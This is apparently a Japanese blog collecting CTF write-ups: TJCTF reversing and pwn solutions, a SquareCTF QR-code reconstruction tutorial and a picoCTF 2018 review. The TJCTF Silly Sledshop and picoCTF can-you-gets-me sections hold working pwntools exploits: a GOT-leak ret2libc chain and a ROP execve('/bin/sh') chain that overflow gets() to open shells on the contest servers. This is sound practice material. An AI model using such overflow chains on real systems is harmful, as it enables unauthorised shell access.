print(' '.join([{'a':'...-', 'b':'--..', 'c':'/', 'd':'-.--', 'e':'.-.', 'f':'...', 'g':'.-..', 'h':'--', 'i':'---', 'j':'-', 'k':'-..-', 'l':'-..', 'm':'..', 'n':'.--', 'o':'-.-.', 'p':'--.-', 'q':'-.-', 'r':'.-', 's':'-...', 't':'..', 'u':'....', 'v':'--.', 'w':'.---', 'y':'..-.', 'x':'..-', 'z':'.--.', '{':'-.', '}':'.'}[i] for i in input('What do you want to secrify? ')]))

アルファベットと符号化された対応がわかるので、デコードする。

Checker (rev 30pt)

問題文

Found a flag checker program that looked pretty sketchy. Take a look at it.

file

配られるのはjavaファイル

import java.util.*;
public class Checker{
    public static String wow(String b, int s){
        String r = "";
        for(int x=s; x<b.length()+s; x++){
            r+=b.charAt(x%b.length());
        }
        return r;
    }
	
    public static String woah(String b){
        String r = "";
        for(int x=0; x<b.length(); x++){
            if(b.charAt(x)=='0')
                r+='1';
            else
                r+='0';
        }
        return r;
    }
    public static String encode(String plain){
        String b = "";
        Stack<Integer> t = new Stack<Integer>();
        for(int x=0; x<plain.length(); x++){
            int i = (int)plain.charAt(x);
            t.push(i);
        }
        for(int x=0; x<plain.length(); x++){
            b+=Integer.toBinaryString(t.pop());
        }
        b = woah(b);
	 = wow(b,9);
        System.out.println(b);
        return b;
    }

    public static boolean check(String flag, String encoded){
        if(encode(flag).equals(encoded))
            return true;
        return false;
    }
    public static void main(String[] args){
        String flag = "redacted";
        String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000";
        System.out.println(check(flag,encoded));
    }
}

エンコード方法は文字列をasciiに変換しスタックにpush。その後スタックからpopし2進数の文字列に変換("AB"だったら0x41,0x42なので10000011000010)。その後0と1を反転させ、9個左にローテーションさせる。
デコードはその逆順を辿ればいいのだが、アルファベットをエンコードすると1文字あたり長さが7になるのだが、数字などをエンコードすると長さが6になるので('1' -> 0x31 -> 110001)、どこで区切ればいいかわからんってなったので、フォーマットがtjctf{***}であることはわかっているので、それっぽいleet表現の文字列に直した。これ全探索以外に綺麗にコードでかけないよな。

FLAG: tjctf{qu1cks1c3}

Broken Parrot (rev 40pt)

問題文
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.

バイナリファイルがもらえる。

$file parrot
parrot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=ff7e4f0e71b221eb66d9be600b39895862fd9bdd, not stripped

32bit 動的リンク not stripped

$strings parrot | grep tjctf
tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}

しかしこれはダミー。gdbで開く。

$gdb ./parrot
gdb-peda$ pdisas main
Dump of assembler code for function main:
...
...
   0x0804852e <+99>:	mov    DWORD PTR [ebp-0x50],0x1
   0x08048535 <+106>:	mov    DWORD PTR [ebp-0x4c],0x0
   0x0804853c <+113>:	cmp    DWORD PTR [ebp-0x4c],0x5
   0x08048540 <+117>:	jg     0x8048569 <main+158>
   0x08048542 <+119>:	lea    edx,[ebp-0x3f]
   0x08048545 <+122>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048548 <+125>:	add    eax,edx
   0x0804854a <+127>:	movzx  edx,BYTE PTR [eax]
   0x0804854d <+130>:	mov    eax,DWORD PTR [ebp-0x4c]
   0x08048550 <+133>:	add    eax,0x804a040
   0x08048555 <+138>:	movzx  eax,BYTE PTR [eax]
   0x08048558 <+141>:	cmp    dl,al
   0x0804855a <+143>:	je     0x8048563 <main+152>
   0x0804855c <+145>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048563 <+152>:	add    DWORD PTR [ebp-0x4c],0x1
   0x08048567 <+156>:	jmp    0x804853c <main+113>
   0x08048569 <+158>:	mov    DWORD PTR [ebp-0x48],0x0
   0x08048570 <+165>:	cmp    DWORD PTR [ebp-0x48],0x2
   0x08048574 <+169>:	jg     0x804859f <main+212>
   0x08048576 <+171>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048579 <+174>:	add    eax,0x6
   0x0804857c <+177>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x08048581 <+182>:	mov    eax,DWORD PTR [ebp-0x48]
   0x08048584 <+185>:	add    eax,0xe
   0x08048587 <+188>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x0804858e <+195>:	cmp    dl,al
   0x08048590 <+197>:	je     0x8048599 <main+206>
   0x08048592 <+199>:	mov    DWORD PTR [ebp-0x50],0x0
   0x08048599 <+206>:	add    DWORD PTR [ebp-0x48],0x1
   0x0804859d <+210>:	jmp    0x8048570 <main+165>
   0x0804859f <+212>:	mov    DWORD PTR [ebp-0x44],0x0
   0x080485a6 <+219>:	cmp    DWORD PTR [ebp-0x44],0x16
   0x080485aa <+223>:	jg     0x80485d5 <main+266>
   0x080485ac <+225>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485af <+228>:	add    eax,0xa
   0x080485b2 <+231>:	movzx  edx,BYTE PTR [ebp+eax*1-0x3f]
   0x080485b7 <+236>:	mov    eax,DWORD PTR [ebp-0x44]
   0x080485ba <+239>:	add    eax,0x1b
   0x080485bd <+242>:	movzx  eax,BYTE PTR [eax+0x804a040]
   0x080485c4 <+249>:	cmp    dl,al
   0x080485c6 <+251>:	je     0x80485cf <main+260>
   0x080485c8 <+253>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485cf <+260>:	add    DWORD PTR [ebp-0x44],0x1
   0x080485d3 <+264>:	jmp    0x80485a6 <main+219>
   0x080485d5 <+266>:	movzx  eax,BYTE PTR [ebp-0x36]
   0x080485d9 <+270>:	cmp    al,0x64
   0x080485db <+272>:	je     0x80485e4 <main+281>
   0x080485dd <+274>:	mov    DWORD PTR [ebp-0x50],0x0
   0x080485e4 <+281>:	cmp    DWORD PTR [ebp-0x50],0x0
   0x080485e8 <+285>:	je     0x80485ff <main+308>
...
...
End of assembler dump.

main+99~main+156でinputの最初の6文字を比較している。比較するのはダミーが入っている0x804a040の中身。
main+158~main+210でinputの次の3文字と0x804a040+0xeからの3文字を比較している。
main+212~main+264でinputの11文字目から23文字と0x804a040+0x1bからを比較している。
main+266~main+270でinputの10文字目が0x64('D')であるかどうか比較している。

FLAG: tjctf{3d_D0n7_y0u_l34v3_m3_4l0n3}

don't you leave me alone ... 悲C

Invalidator (rev 70pt)

問題文
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!

$file invalidator
invalidator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3583ac8cbf9f4a9128376ebaa5775ff78f9b08ba, not stripped

$strings invalidator
...
...
tjct
f{0h
_my_
4_51
mpl3
70n_
4_r3
d_h3
rr1n
6_f0
r_7h
UWVS
t$,U
...
...


しかしこれもダミー。これにxorするとかでもなくまじで関係ないやつだった。
gdbで見るとプログラムの第一引数と何かを比較する感じ。肝心なのは自作関数strcmp。

gdb-peda$ pdisas strcmp

Dump of assembler code for function strcmp:
   0x080484ab <+0>:	push   ebp
   0x080484ac <+1>:	mov    ebp,esp
   0x080484ae <+3>:	sub    esp,0x10
=> 0x080484b1 <+6>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080484b8 <+13>:	jmp    0x80484cd <strcmp+34>
   0x080484ba <+15>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484bd <+18>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484c0 <+21>:	add    eax,edx
   0x080484c2 <+23>:	movzx  eax,BYTE PTR [eax]
   0x080484c5 <+26>:	test   al,al
   0x080484c7 <+28>:	je     0x8048512 <strcmp+103>
   0x080484c9 <+30>:	add    DWORD PTR [ebp-0x4],0x1
   0x080484cd <+34>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080484d0 <+37>:	shl    eax,0x2
   0x080484d3 <+40>:	add    eax,0x2
   0x080484d6 <+43>:	mov    eax,DWORD PTR [eax*4+0x804a040]
   0x080484dd <+50>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484e0 <+53>:	mov    edx,DWORD PTR [ebp+0xc]
   0x080484e3 <+56>:	add    edx,ecx
   0x080484e5 <+58>:	movzx  edx,BYTE PTR [edx]
   0x080484e8 <+61>:	movsx  ecx,dl
   0x080484eb <+64>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484ee <+67>:	shl    edx,0x2
   0x080484f1 <+70>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x080484f8 <+77>:	xor    ecx,edx
   0x080484fa <+79>:	mov    edx,DWORD PTR [ebp-0x4]
   0x080484fd <+82>:	add    edx,0x40
   0x08048500 <+85>:	shl    edx,0x2
   0x08048503 <+88>:	mov    edx,DWORD PTR [edx*4+0x804a040]
   0x0804850a <+95>:	xor    edx,ecx
   0x0804850c <+97>:	cmp    eax,edx
   0x0804850e <+99>:	je     0x80484ba <strcmp+15>
   0x08048510 <+101>:	jmp    0x8048513 <strcmp+104>
   0x08048512 <+103>:	nop
   0x08048513 <+104>:	cmp    DWORD PTR [ebp-0x4],0x28
   0x08048517 <+108>:	sete   al
   0x0804851a <+111>:	movzx  eax,al
   0x0804851d <+114>:	leave  
   0x0804851e <+115>:	ret 

どうやら0x804a040からのデータと比較している。
これもgdbで見てみよう。

gdb-peda$ x/20x 0x804a040
0x804a040 <r>:	0x0000004d	0x00000071	0x00000059	0x000000a1
0x804a050 <r+16>:	0x000000bb	0x00000040	0x000000f9	0x0000000e
0x804a060 <r+32>:	0x0000004b	0x00000085	0x000000a8	0x0000003a
0x804a070 <r+48>:	0x000000ca	0x00000052	0x0000009c	0x00000082
0x804a080 <r+64>:	0x00000014	0x0000008a	0x000000ca	0x00000077

明らかに人の手で作り込んだようなデータがある。しかもrというシンボル名が付いている。

$readelf -s ./invalidator
...
...
52: 0804a040  2048 OBJECT  GLOBAL DEFAULT   25 r
...
...

 $hexdump -C ./invalidator | grep 4d

000004d0  c1 e0 02 83 c0 02 8b 04  85 40 a0 04 08 8b 4d fc  |.........@....M.|
00000540  4d f4 31 c9 83 38 01 7f  20 8b 45 b4 8b 00 83 ec  |M.1..8.. .E.....|
00000610  ff 8b 4d fc c9 8d 61 fc  c3 66 90 66 90 66 90 90  |..M...a..f.f.f..|
000007b0  69 0e 24 44 0e 28 44 0e  2c 41 0e 30 4d 0e 20 47  |i.$D.(D.,A.0M. G|
00001040  4d 00 00 00 71 00 00 00  59 00 00 00 a1 00 00 00  |M...q...Y.......|
000014d0  33 00 00 00 14 00 00 00  6f 00 00 00 55 00 00 00  |3.......o...U...|
00001680  a2 00 00 00 9d 00 00 00  0d 00 00 00 4d 00 00 00  |............M...|
00001710  c2 00 00 00 7f 00 00 00  4d 00 00 00 19 00 00 00  |........M.......|
00001dc0  4d 45 5f 45 4e 44 5f 5f  00 5f 5f 4a 43 52 5f 45  |ME_END__.__JCR_E|
00001de0  79 5f 65 6e 64 00 5f 44  59 4e 41 4d 49 43 00 5f  |y_end._DYNAMIC._|
00001e00  74 00 5f 5f 47 4e 55 5f  45 48 5f 46 52 41 4d 45  |t.__GNU_EH_FRAME|
00001e30  63 5f 63 73 75 5f 66 69  6e 69 00 5f 49 54 4d 5f  |c_csu_fini._ITM_|
00001e40  64 65 72 65 67 69 73 74  65 72 54 4d 43 6c 6f 6e  |deregisterTMClon|
00001f40  73 73 65 73 00 5f 5f 54  4d 43 5f 45 4e 44 5f 5f  |sses.__TMC_END__|
00001f50  00 5f 49 54 4d 5f 72 65  67 69 73 74 65 72 54 4d  |._ITM_registerTM|
000024d0  00 00 00 00 01 00 00 00  01 00 00 00 11 00 00 00  |................|

readelfでサイズが2048、hexdumpで最初の4dを調べて見ると0x1040からrがあることがわかる。(他になんか便利なコマンドあったはずだが忘れた)

solve.cではrは実際には4バイトずつにしか値が入ってないので長さ512の配列を用意して、バイナリファイルから直に読み込んだ。デコードする操作はアセンブリをみて理解する。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
	char r[512];
	int fd;
	fd = open("./invalidator", O_RDONLY);
	if(fd < 0){
		printf("error");
		exit(0);
	}

	int i;
	for(i = 0; i < 512; i++){
		lseek(fd, 0x1040+i*4, SEEK_SET);
		read(fd, &(r[i]), 1);
	}
	char flag;
	for(i = 0; i < 0x29; i++){
		flag = r[i*4+2] ^ r[i*4] ^ r[(i+0x40)*4];
		printf("%c", flag);
	}
	printf("\n");
	return 0;
}

FLAG: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}

Silly Sledshop (pwn 80pt)

問題文
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.

Lesson: nothing stops Omkar.

He will go sledding whenever and wherever he wants.

nc p1.tjctf.org 8010


ご丁寧にcのソースまである。

#include <stdio.h>
#include <stdlib.h>

void shop_setup() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
}

void shop_list() {
    printf("The following products are available:\n");
    printf("|  Saucer  | $1 |\n");
    printf("| Kicksled | $2 |\n");
    printf("| Airboard | $3 |\n");
    printf("| Toboggan | $4 |\n");
}

void shop_order() {
    int canary = 0;
    char product_name[64];

    printf("Which product would you like?\n");
    gets(product_name);

    if (canary)
        printf("Sorry, we are closed.\n");
    else      
        printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name);
}

int main(int argc, char **argv) {
    shop_setup();
    shop_list();
    shop_order();
    return 0;
}

shop_orderのgetsでoverflowが起こせる。自作canaryは0にすることもできるが、上書きしてしまっても今回は問題ない。
まずはrpでpop,retのガジェットを検索して、putsを利用し、puts@gotとgets@gotの中身をリークし、サーバーのlibcを特定する。

# leek.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'
		
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')

puts_plt = 0x80483f0
gets_got = 0x804a014
puts_got = 0x804a01c
pop_edx_ret = 0x08048395

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(pop_edx_ret)
payload += p32(gets_got)
payload += p32(puts_plt)
payload += "AAAA"
payload += p32(puts_got)


conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_gets = conn.recvline()
libc_puts = conn.recvline()
print "libc_gets = " + hex(u32(libc_gets[0:4]))
print "libc_puts = " + hex(u32(libc_puts[0:4]))

conn.interactive()

getsとputsのアドレスがわかったら、
https://libc.blukat.me/
に入力してlibcを特定、/bin/shとsystemのオフセットも特定。このサイトマジで便利だな。

あとはASLRを回避するためにputsのアドレスをリークしつつ、もう一度shop_order関数に戻り、もう一度getsに対してoverflowを仕掛ける。

#solver.py

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

				
HOST = "p1.tjctf.org"
PORT = 8010
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
	conn = remote(HOST, PORT)
else:
	conn = process('./sledshop')
#in libc
system_offset = 0x3a940
binsh_offset = 0x15902b
puts_offset = 0x5f140

puts_plt = 0x80483f0
puts_got   = 0x804a01c
pop_edx_ret = 0x08048395

shop_order = 0x80485bc

payload = "A"*0x50
payload += p32(puts_plt)
payload += p32(shop_order)
payload += p32(puts_got)

conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")
libc_puts = conn.recvline()

libc_puts = u32(libc_puts[0:4])
print "libc_puts = " + hex(libc_puts)

libc_base = libc_puts - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
print "system_addr = " + hex(system_addr)
print "binsh_addr = " + hex(binsh_addr)
payload = "A"*0x50
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
 
conn.recvuntil("like?")
conn.sendline(payload)
conn.recvuntil("closed.\n")

conn.interactive()

FLAG: tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}

総括

この間、人の書いたwriteupをみてlibcを特定するサイトを知ったのだが、早速使える場面が来て、嬉しい。最近rev,pwn担当として、非力ながらチームに参加させてもらったので、頑張っていきたい。

てかCTF楽しい。早く研究室とか就活とか終わらせて、卒業したい。社会人になったらやる元気あるのかな。

今後もよろしくお願いしますわ。

気合いで読むQRコード入門

この記事はKCS Advent Calendar 16日目の記事です。

概要

以前参加したSquareCTFでQRコードに関する問題が出たのでその解説をしていこうと思います。この問題に取り組むとQRコードの仕組みが大枠理解でき、カメラがなくてもQRコードを読めるようになります!(ホンマか!?)
別にCTFに参加したことがなくても聞いたことがなくても解けるレベルの問題なので興味のある方は記事を読む前に挑戦してみると面白いかもしれません。あと入門と書いてありますが続きはないです。

挑戦する方向けに、CTFでは回答さえ合っていれば良く、そのプロセスは問われないのでどう解いても構いません。QRの仕様についてはググったりしてもらっても全然大丈夫です。うまく復元できると、とある文字列が手に入るはずです(この大会では"FLAG"という文字列が含まれることがわかっています)。

問題のリンク

SquareCTF2018 C3 shredded
squarectf.com

解説

配布されたファイルを解凍すると27個の細長い画像ファイルが手に入ります。これが問題のタイトルからもわかるように、縦に分割されたQRコードです。

f:id:kam1tsur3:20181127132921p:plain      f:id:kam1tsur3:20181127132933p:plain      f:id:kam1tsur3:20181127132943p:plain

↑こんなのが27枚

なんとなーくこれらをつなぎ合わせればQRコードになりそうなのが推測できますね!(?)

復元するに当たってQRコードの仕組みを大枠知っておく必要がありそうです。僕は以下のサイトを参考にしました。
(1)http://eleclog.quitsq.com/2014/01/seccon-ctf-2013-online-forensics-400.html
(2)http://www.swetake.com/qrcode/qr1.html
(3)http://nlab.itmedia.co.jp/nl/articles/1801/31/news008.html

QRコードにも色々種類があるらしい。まずバージョンですが、配布された画像を何枚か観察すると、縦は21マスであることから今回はバージョン1のようです。そうなると27枚の画像のうちの真っ白の6枚は画像の両端になることがわかります。このようにまずは位置が確定できるものを探しましょう。バージョン1の場合は以下の画像の位置は固定なようです。

f:id:kam1tsur3:20181125191311p:plain

(画像は(2)のリンクより)

また上の画像の水色の部分に誤り訂正レベルやマスクパターンの情報が入るようです。これらは二箇所に同じ情報が同じ順番に15マスに渡って格納されます。以下の画像は今回の問題とは少し違うフォーマットですが、水色の部分の構造は同じです。

f:id:kam1tsur3:20181125194145p:plain

(画像は(3)のリンクより)

これらの情報を元に画像を埋めて行くと1,2,5,6,7,8,9,14,15,21列目が確定します。1列目や7列目は比較的確定するのが簡単ですが、5,9,15,21列目などは2対の15マスの形式情報が一致することを利用して絞っていきます。残りの画像のそれぞれの行の特徴から組み合わせを推測すると、3,4行目が2つ、16,20行目が2つ、17,18,19行目が3つ、10~13列目は7行目が白黒交互になることから、10,12行目で、11,13行目でそれぞれ2つとなりました。この時点で2x2x2x2x3!の96通りまで絞ることができました。

f:id:kam1tsur3:20181125233409p:plain

QRのルールを用いて絞って行くのはここまでが限界です(多分)。なのでここからは生のQRコードを読んで行きましょう笑。

QRコードの読み方は右下から2列に渡ってジグザグに読んで行きます。言葉だと伝わりにくいので、図を見てもらいましょう。

f:id:kam1tsur3:20181125235203p:plain

(画像は(3)のリンクより)

20列目になりうる画像は2つに絞れているので確定している21列目と合わせて見ましょう。

①          ②
f:id:kam1tsur3:20181127114323p:plain         f:id:kam1tsur3:20181127114336p:plain

しかしQRコードはこのままだと読むことができません。先ほどのリンクを読んでいただければわかるのですが、QRコードにはマスクがかかっています。そのマスクを解かなければいくら気合いがあっても読むことができません。しかもマスクにも何種類かあるらしい。。。

f:id:kam1tsur3:20181127115401p:plain

(画像は(1)のリンクより)

今回はラッキーなことに先程までの手順で絞れている画像からマスクパターンがわかります。この問題では(i+j)%3=0のところにマスクがかけられているようです。この式は一番左上の座標を(0,0)、右下を(20,20)とした時のi行目、j列目の座標(i,j)についての式です。上だと21列目と書いていたところは(i,21)ではなく(i,20)となることに注意してください。例えば(19,20)の座標は(19+20)%3=0を満たすので、1(黒)でxorします。

さてゴリゴリ読んで行きましょう。

①の画像は000001010100100010100100で②の画像は010000010100110011110000なのがわかります。これに先ほどのマスクをかけます。20,21行目にかけるマスクは011000011000011000011000であるので、

①
    000001010100100010100100
xor 011000011000011000011000 <-mask
-------------------------------------
    011001001100111010111100

②
    010000010100110011110000
xor 011000011000011000011000 <-mask
-------------------------------------
    001000001100101011101000

得られたbit列を精査して行きます。QRコードでは最初の4bitはモードを表します。数字モードなら0001、英数字モードなら0010、8bitモードなら0100、漢字モードなら1000です。①は0110、②は0010なので①の可能性が絶たれたと同時に今回は英数字モードであることがわかります。②と特定できましたが、他の列も特定するためにまだゴリゴリデコードして行きます。4bit以降に続くbitにはデータの文字数の情報が入っています。英数字モードだとこれを9bitで表すそうです。②の5bit目以降を見ると000011001であり、これを10進数に直すと25です。つまりデータ総数は25文字であることがわかります。おお!徐々に読めてきていますねぇ。感動します。

この文字数に続くbitから生のデータです。英数字モードでは11bit区切りでデータが格納されています。20,21行目の残りのbitも11bitなのでデコードして行きましょう。英数字モードではデータの格納がかなり特殊で、11bitのデータに2文字の情報が入っています。11bitのデータを10進数に直して、それを45で割った商が1文字目、余りが2文字目という構造をしています。8bitモードだと普通のasciiに準拠しているのですが、英数字モードは特殊な変換が必要なのですね。以下のリンクのテーブルを参照してデコードしましょう。

http://www.swetake.com/qrcode/qr_table1.html

今回の続きは01011101000なので、10進数に直すと744です。744=16*45+24で、テーブルで16と24のところを引くと、出てくる2文字”GO”であることがわかります。
おおお!QRコードをカメラなしで読めています!ゾクゾクしますね!この調子です!

続く18,19行目も上記同様にゴリゴリ読んでください(書くの疲れた)。18,19行目になりうるのは3つに絞られているので、6通りの組み合わせをそれぞれデコードすると"GO"に続く文字であることから、どれが正しいかわかると思います。

これで16,18,19,20行目が特定できたので、あとは2x2x2の8通りに持ち込むことができました。まだまだゴリ押ししても構いませんが、これくらいに絞れたら全通り試せる数字になってきたので僕は全通り試して、実際にカメラに読み込ませました(←!?)。解ければいいんですよ解ければね。

ということで以下が修復されたQRコードです!!

f:id:kam1tsur3:20181127131945p:plain

お疲れ様でした〜。

picoCTF2018振り返り+ちょっとwriteup

picoCTF2018に参加しました。中高生向け、初心者向けの問題もあるということで、チームでは参加せず、個人で参加しました。
全然知らないwebとかのジャンルに触れるいい機会ですしね。

結果

f:id:kam1tsur3:20181017193609p:plain

f:id:kam1tsur3:20181017193620p:plain

こんな感じでした。web,cryptoはさっぱりです。revはz3を使う問題で止まってしまいました。z3使ったことないので、これから使いこなせるように努めます。pwnは見事にheap問題で止まりました。1問だけ解けたのですが、復習します。

hintがwriteupみたいな問題も多くあったので、2つだけ気になった問題のwriteupを書きます。

Writeup

script me - Points: 500 - (Solves: 502) General Skills

問題サーバーに繋ぐと以下のような返答が

Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()()()) + ((())()) = ???

最後の行のような問題が5問出題されます。解いて行くにつれ問題が難しくなり4問目くらいからは目ではとても追えないようになるので、scriptを書きます。

以下はその簡単なscriptです。pwnではないですが、通信は慣れているpwntoolの雛形を使っています。めちゃくちゃ見辛いですが、demention関数では各項の次元?(括弧の中に何個括弧が内包されているか)を計算しています。analysis関数では受け取った式を各項に分割しdemention関数に通し、順番に次元を比べ、その次元によって連結のやり方を変え、文字列を足し合わせています。

from pwn import *
import re

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "2018shell1.picoctf.com"
PORT = 22973

def demention(fsplit):
    max_d = 0
    dm = 0
    for i in range(len(fsplit)):
        if(fsplit[i] == '('):
            dm += 1
            if(max_d < dm):
                max_d = dm
        elif(fsplit[i] == ')'):
            dm -= 1
    return max_d

def analysis(formula):
    fsplit = re.split(' ', formula)
    d_list = []
    f_list = []
    for i in range(0, len(fsplit)-1, 2):
        dm = demention(fsplit[i])
        f_list.append(fsplit[i])
        d_list.append(dm)
    ans = f_list[0]
    for i in range(len(d_list)-1):
        if(d_list[i] == d_list[i+1]):
            ans = ans + f_list[i+1]
        elif(d_list[i] > d_list[i+1]):
            ans = ans[:len(ans)-1]+f_list[i+1] + ')'
            d_list[i+1] = d_list[i]
        elif(d_list[i] < d_list[i+1]):
            ans = '('+ans+f_list[i+1][1:]
    return ans

conn = remote(HOST, PORT)

conn.recvuntil('warmup.\n')

for i in range(5):
    formula = conn.recvline()
    print "FORMULA: " + formula
    conn.recvuntil('> ')
    ans = analysis(formula)
    ans += '\n'
    conn.send(ans)
    conn.recvline()
    conn.recvline()
    conn.recvline()

conn.interactive()

can-you-gets-me - Points: 650 - (Solves: 231) Binary Exploitation

大会のサイトのShellタブからアカウント固有のshellが起動するのですが、その環境だとpwntoolがうまく使えなかったので、ローカルからsshして問題バイナリを起動してみたいな感じで解きました。典型的なrop問題らしいです。asciiアーマーもなくnullバイトを送ってもちゃんと送れるのでユルユルです。rp++を使って問題バイナリのretアドレスになりうるアドレスを調べました。

ただコードが本当に汚い。payloadにnullバイト入れたくないですよね。本当にセンスがない。xor命令のガジェットはいくらでもあるので楽をしてしまいました。解いてたのがコンテスト終盤で早く解きたかったので許してください。

以下は汚いコード。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='2018shell1.picoctf.com', user='kam1tsur3', password='****')
conn.set_working_directory('/problems/can-you-gets-me_4_******')
pro = conn.process('./gets')

int_0x80 = 0x806cc25
data = 0x80ea060
pop_ebx = 0x80481c9
pop_ecx = 0x80de955
pop_edx = 0x806f02a
pop_eax = 0x80b81c6
mov_edx_eax = 0x80549db

payload = "A"*0x1c
payload += p32(pop_edx)
payload += p32(data)
payload += p32(pop_eax)
payload += "/bin"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+4)
payload += p32(pop_eax)
payload += "/sh\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+8)
payload += p32(pop_eax)
payload += p32(data)
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+12)
payload += p32(pop_eax)
payload += "\x00\x00\x00\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_ecx)
payload += p32(data+8)
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_edx)
payload += "\x00\x00\x00\x00"
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_0x80)
payload += "\n"

pro.recv(100)
pro.send(payload)

pro.interactive()

まとめ(ポエム)

なぜ上記の問題を選んだかというと、他の方の解法がみたいと思ったからです。自分の書いたコードがすごい汚く冗長性があると感じたのでもし他の方のスマートな解法があれば教えて欲しいです(picoCTFはレベル的にあまりwriteupを書く風潮にない?)。最近情報発信について考えていて、僕の以前のwriteupには解けなかった方のためにwriteupを書きますみたいなことを書いていたのですが、それってどうなのかなと考える節があり、そもそもCTFのwriteupとかって、俺はこうやって解いたけど、おまいらどんな感じで解いたん?ぐらいのものなんじゃないかと思い、そういう議論からこの人すげーなと思ってくれたり自分に興味を持ってくれる人が増え、技術コミュニティが広がって行くのかなと思いました。まあそもそもpicoCTFは中高生向けのCTFで、ハイレベルな議論は生まれるようなものではないし、僕もまだそういうハイレベルな問題は解けないのでクソイキリにすぎませんが。。。精進します。。。